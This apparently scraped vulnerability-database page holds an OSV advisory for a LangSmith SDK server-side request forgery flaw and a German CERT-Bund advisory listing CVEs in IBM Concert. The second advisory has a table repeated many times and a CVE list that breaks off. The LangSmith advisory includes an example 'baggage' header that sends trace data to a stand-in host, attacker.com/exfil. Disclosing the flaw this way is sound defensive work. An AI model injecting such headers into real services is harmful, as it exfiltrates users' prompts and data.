"name": "langsmith",
"purl": "pkg:pypi/langsmith"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.10"
},
{
"fixed": "0.6.3"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.4.10",
"0.4.11",
"0.4.12",
"0.4.13",
"0.4.14",
"0.4.15",
"0.4.16",
"0.4.17",
"0.4.18",
"0.4.19",
"0.4.20",
"0.4.21",
"0.4.22",
"0.4.23",
"0.4.24",
"0.4.25",
"0.4.26",
"0.4.27",
"0.4.28",
"0.4.29",
"0.4.30",
"0.4.31",
"0.4.32",
"0.4.32rc0",
"0.4.33",
"0.4.34",
"0.4.35",
"0.4.35rc1",
"0.4.36",
"0.4.37",
"0.4.38",
"0.4.39",
"0.4.39rc0",
"0.4.39rc1",
"0.4.40",
"0.4.41",
"0.4.42",
"0.4.42rc0",
"0.4.43",
"0.4.43rc0",
"0.4.44",
"0.4.45",
"0.4.46",
"0.4.47",
"0.4.48",
"0.4.49",
"0.4.50",
"0.4.51",
"0.4.52",
"0.4.53",
"0.4.54",
"0.4.54rc0",
"0.4.55",
"0.4.56",
"0.4.57",
"0.4.58",
"0.4.59",
"0.4.60",
"0.5.0",
"0.5.1",
"0.5.2",
"0.6.0",
"0.6.0rc0",
"0.6.1",
"0.6.2"
]
}
],
"aliases": [
"CVE-2026-25528",
"GHSA-v34v-rq6j-cj6p"
],
"details": "## Summary\n\nThe LangSmith SDK\u0027s distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary `api_url` values through the `baggage` header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.\n\n---\n\n## Description\n\nWhen using distributed tracing, the SDK parses incoming HTTP headers via `RunTree.from_headers()` in Python or `RunTree.fromHeaders()` in Typescript. The `baggage` header can contain replica configurations including `api_url` and `api_key` fields.\n\nPrior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK\u0027s `post()` and `patch()` methods send run data to all configured replica URLs, including any injected by an attacker.\n\n---\n\n## Attack Vector\n\n1. Attacker sends an HTTP request to a vulnerable service with a malicious `baggage` header:\n ```\n baggage: langsmith-replicas=[{\"api_url\":\"https://attacker.com/exfil\",\"project_name\":\"x\"}]\n ```\n\n2. The service parses the header via `RunTree.from_headers()`, storing the attacker\u0027s URL\n\n3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to `https://attacker.com/exfil`\n\n---\n\n## Impact\n\n- **Data Exfiltration:** Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers\n- **SSRF:** Ability to make the server send requests to arbitrary URLs, potentially targeting internal services\n\n---\n\n## Affected Use Cases\n\nApplications are vulnerable if they:\n- Use `TracingMiddleware` to automatically propagate tracing context\n- Call `RunTree.from_headers()` / `RunTree.fromHeaders()` with untrusted HTTP headers\n\n---\n\n## Remediation\n\nUpdate to the patched versions:\n- **Python:** `pip install langsmith\u003e=0.6.3`\n- **JavaScript:** `npm install langsmith@\u003e=0.4.6`\n\nThe fix filters incoming replica configurations to an allowlist of safe fields, removing `api_url`, `api_key`, and other credential fields.\n\n---\n\n## Workarounds\n\nIf unable to upgrade immediately:\n- Strip or validate the `baggage` header before passing to `from_headers()`\n- Do not use `TracingMiddleware` with untrusted traffic",
"id": "PYSEC-2026-2584",
"modified": "2026-07-13T16:04:34.488928Z",
"published": "2026-07-13T14:36:35.362216Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25528"
},
{
"type": "PACKAGE",
"url": "https://github.com/langchain-ai/langsmith-sdk"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/langsmith"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-v34v-rq6j-cj6p"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection"
}
WID-SEC-W-2026-3046
Vulnerability from csaf_certbund - Published: 2026-08-26 22:00 - Updated: 2026-08-30 22:00| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
IBM Concert <3.0.0
IBM / Concert
|
<3.0.0 |
{
"document": {
"aggregate_severity": {
"text": "hoch"
},
"category": "csaf_base",
"csaf_version": "2.0",
"distribution": {
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "de-DE",
"notes": [
{
"category": "legal_disclaimer",
"text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
},
{
"category": "description",
"text": "IBM Concert ist eine Plattform f\u00fcr die Automatisierung von Gesch\u00e4ftsprozessen und Entscheidungsfindung.",
"title": "Produktbeschreibung"
},
{
"category": "summary",
"text": "Ein Angreifer kann mehrere Schwachstellen in IBM Concert ausnutzen, um beliebigen Programmcode auszuf\u00fchren, um einen Denial of Service Angriff durchzuf\u00fchren, um Informationen offenzulegen, um Dateien zu manipulieren, um einen Cross-Site Scripting Angriff durchzuf\u00fchren, um einen SQL-Injection Angriff durchzuf\u00fchren und um Sicherheitsvorkehrungen zu umgehen.",
"title": "Angriff"
},
{
"category": "general",
"text": "- Linux\n- UNIX",
"title": "Betroffene Betriebssysteme"
}
],
"publisher": {
"category": "other",
"contact_details": "csaf-provider@cert-bund.de",
"name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
"namespace": "https://www.bsi.bund.de"
},
"references": [
{
"category": "self",
"summary": "WID-SEC-W-2026-3046 - CSAF Version",
"url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-3046.json"
},
{
"category": "self",
"summary": "WID-SEC-2026-3046 - Portal Version",
"url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-3046"
},
{
"category": "external",
"summary": "IBM Security Bulletin 7285337 vom 2026-08-26",
"url": "https://www.ibm.com/support/pages/node/7285337"
}
],
"source_lang": "en-US",
"title": "IBM Concert: Mehrere Schwachstellen",
"tracking": {
"current_release_date": "2026-08-30T22:00:00.000+00:00",
"generator": {
"date": "2026-08-31T06:12:08.730+00:00",
"engine": {
"name": "BSI-WID",
"version": "1.6.0"
}
},
"id": "WID-SEC-W-2026-3046",
"initial_release_date": "2026-08-26T22:00:00.000+00:00",
"revision_history": [
{
"date": "2026-08-26T22:00:00.000+00:00",
"number": "1",
"summary": "Initiale Fassung"
},
{
"date": "2026-08-30T22:00:00.000+00:00",
"number": "2",
"summary": "Referenz(en) aufgenommen: EUVD-2026-67959, EUVD-2025-210810"
}
],
"status": "final",
"version": "2"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "\u003c3.0.0",
"product": {
"name": "IBM Concert \u003c3.0.0",
"product_id": "T058718"
}
},
{
"category": "product_version",
"name": "3.0.0",
"product": {
"name": "IBM Concert 3.0.0",
"product_id": "T058718-fixed",
"product_identification_helper": {
"cpe": "cpe:/a:ibm:concert:3.0.0"
}
}
}
],
"category": "product_name",
"name": "Concert"
}
],
"category": "vendor",
"name": "IBM"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2019-19921",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2019-19921"
},
{
"cve": "CVE-2021-23337",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2021-23337"
},
{
"cve": "CVE-2024-3651",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2024-3651"
},
{
"cve": "CVE-2024-39338",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2024-39338"
},
{
"cve": "CVE-2024-45590",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2024-45590"
},
{
"cve": "CVE-2025-13465",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-13465"
},
{
"cve": "CVE-2025-15284",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-15284"
},
{
"cve": "CVE-2025-15599",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-15599"
},
{
"cve": "CVE-2025-22874",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-22874"
},
{
"cve": "CVE-2025-47273",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-47273"
},
{
"cve": "CVE-2025-47907",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-47907"
},
{
"cve": "CVE-2025-52881",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-52881"
},
{
"cve": "CVE-2025-53643",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-53643"
},
{
"cve": "CVE-2025-55184",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-55184"
},
{
"cve": "CVE-2025-58056",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-58056"
},
{
"cve": "CVE-2025-58188",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-58188"
},
{
"cve": "CVE-2025-58189",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-58189"
},
{
"cve": "CVE-2025-61723",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-61723"
},
{
"cve": "CVE-2025-61730",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-61730"
},
{
"cve": "CVE-2025-64649",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-64649"
},
{
"cve": "CVE-2025-64756",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-64756"
},
{
"cve": "CVE-2025-67221",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-67221"
},
{
"cve": "CVE-2025-68121",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-68121"
},
{
"cve": "CVE-2025-68146",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2025-68146"
},
{
"cve": "CVE-2026-0540",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-0540"
},
{
"cve": "CVE-2026-2327",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-2327"
},
{
"cve": "CVE-2026-23490",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-23490"
},
{
"cve": "CVE-2026-23897",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-23897"
},
{
"cve": "CVE-2026-2391",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-2391"
},
{
"cve": "CVE-2026-23949",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-23949"
},
{
"cve": "CVE-2026-24486",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-24486"
},
{
"cve": "CVE-2026-25528",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-25528"
},
{
"cve": "CVE-2026-25547",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-25547"
},
{
"cve": "CVE-2026-25639",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-25639"
},
{
"cve": "CVE-2026-25990",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-25990"
},
{
"cve": "CVE-2026-26007",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-26007"
},
{
"cve": "CVE-2026-26019",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-26019"
},
{
"cve": "CVE-2026-26996",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-26996"
},
{
"cve": "CVE-2026-27142",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-27142"
},
{
"cve": "CVE-2026-27212",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-27212"
},
{
"cve": "CVE-2026-27699",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-27699"
},
{
"cve": "CVE-2026-27903",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-27903"
},
{
"cve": "CVE-2026-27904",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-27904"
},
{
"cve": "CVE-2026-28684",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-28684"
},
{
"cve": "CVE-2026-29063",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-29063"
},
{
"cve": "CVE-2026-29181",
"product_status": {
"known_affected": [
"T058718"
]
},
